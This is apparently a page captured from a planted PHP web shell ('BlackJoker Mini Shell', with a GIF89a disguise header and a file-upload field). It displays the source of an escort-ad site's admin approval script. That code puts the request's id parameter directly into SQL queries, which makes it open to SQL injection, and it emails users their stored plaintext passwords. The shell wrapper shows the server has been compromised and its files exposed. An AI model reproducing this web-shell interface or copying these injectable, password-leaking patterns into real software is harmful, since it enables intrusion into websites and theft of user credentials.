GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/approvebyadmin.php

<? session_start();
if(!($_SESSION['authislogin']))
  {
        
          ?>
      <script language="javascript">
          location.href="index.php";
          </script>
  <? }

 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
        $id=$_GET['id'];
        if($_GET['id'])
        {
                
                $sql_estdtls="select * from escort_details where id='".$_GET['id']."'";
                $res_estdtls=execute_query($sql_estdtls);
                $row_estdtls=mysql_fetch_array($res_estdtls);
                
                if($row_estdtls['status']=='u')
                {
                                
                $insert_sql="update escort_details set status='a',activetime=now() WHERE id='$id'";
                execute_query($insert_sql);
                
                $sql_email="select * from escort_details where id='$id'";
                $res_email=execute_query($sql_email);
                $row_email=mysql_fetch_array($res_email);
                
                $sql_userinfo="select * from user_info where userid='".$row_email['user_id']."'";
                $res_userinfo=execute_query($sql_userinfo);
                $row_userinfo=mysql_fetch_array($res_userinfo);
                
                $to = $row_email['email']; 
                 // $to = "subhrajyoti.mca11@gmail.com";
                $subject="Your Ad Is Now Active"; 
                
                $body="<html>
                                                                                                <head>
                                                                                                  <title>Your Ad Is Now Active</title>
                                                                                                </head>
                                                                                                <body>
                                                                                                <table style='padding:10px; color:#000;'>
                                                                                                        <tr><th></th></tr>
                                                                                                        <tr><td><br/></td></tr>
                                                                                                        <tr>
                                                                                                          <td>Hey,thanks for posting with us!</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                          <td>Your Ad is now Active.</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                          <td>To edit/Delete your posting or to use other site features, your login credentials are</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                          <td>Username:".$row_userinfo['username']."</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                          <td>Password:".$row_userinfo['password']."</td>
                                                                                                        </tr>
                                                                                                        
                                                                                                        <tr>
                                                                                                          <td>To login in to your account click here <a href='http://escortservice.org/login.php?newuser=1' style='color:#AD0066;'>Login</a></td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                          <td>Do not delete this email,you might need it to edit or delete your post in future.</td>
                                                                                                        </tr>
                                                                                                        <tr height='10'></tr>
                                                                                                        <tr>
                                                                                                          <td>Also we invite you to post your services on our other site:</td>
                                                                                                         <td><a href='http://callgirls.org/'>Callgirls.org</a></td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                        <td>And please link to your ad on EscortService from your website, or wherever else you can. Thank you.</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                                <td>Name:".$row_email['nickname']."</td>
                                                                                                                
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                                <td>Email:".$row_email['email']."</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                                <td>State :".$row_email['escort_state']."</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                                <td>City :".$row_email['escort_city']."</td>
                                                                                                        </tr>
                                                                                                        <tr>
                                                                                                                <td>Ad Creation Date :".$row_email['creation_date']."</td>
                                                                                                        </tr>
                                                                                                        
                                                                                                  </table>
                                                                                                </body>
                                                                                                </html>";
                                                                                                // To send HTML mail, the Content-type header must be set
                                                                                                // $headers  = 'MIME-Version: 1.0' . "\r\n";
                                                                                                // $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
                                                                                                
                                                                                                // // Additional headers
                                                                                                // $headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
                                                                                                        
                                                                                                sendEmail($to, $subject, $body);
                                                                                                // mail($to, $subject, $body, $headers);        
                
                                
                
                /*$body="Welcome to escortservice.org. Your Ad is live now";
                                                
                $headers = 'From: escortservice<support@escortservice.org>' . "\r\n" .
                'Reply-To: support@escortservice.org' . "\r\n" .
                'X-Mailer: PHP/' . phpversion();
                                                
                mail($to, $subject, $body, $headers);*/
                
                
                 
            $loc="approve-post.php?id=".$id;
        
        
                ?>
                        <script language="javascript">
                                alert('You have successfully approved this Ad');
                                location.href="<?=$loc?>";
                        </script>
                <?
                }
                else
                {
                        $loc="approve-post.php?id=".$id;
        
        
                ?>
                        <script language="javascript">
                                alert('You have already approved this Ad');
                                location.href="<?=$loc?>";
                        </script>
                <?
                        
                }
        
        }
        
        

  

./BlackJoker Mini Shell 1.0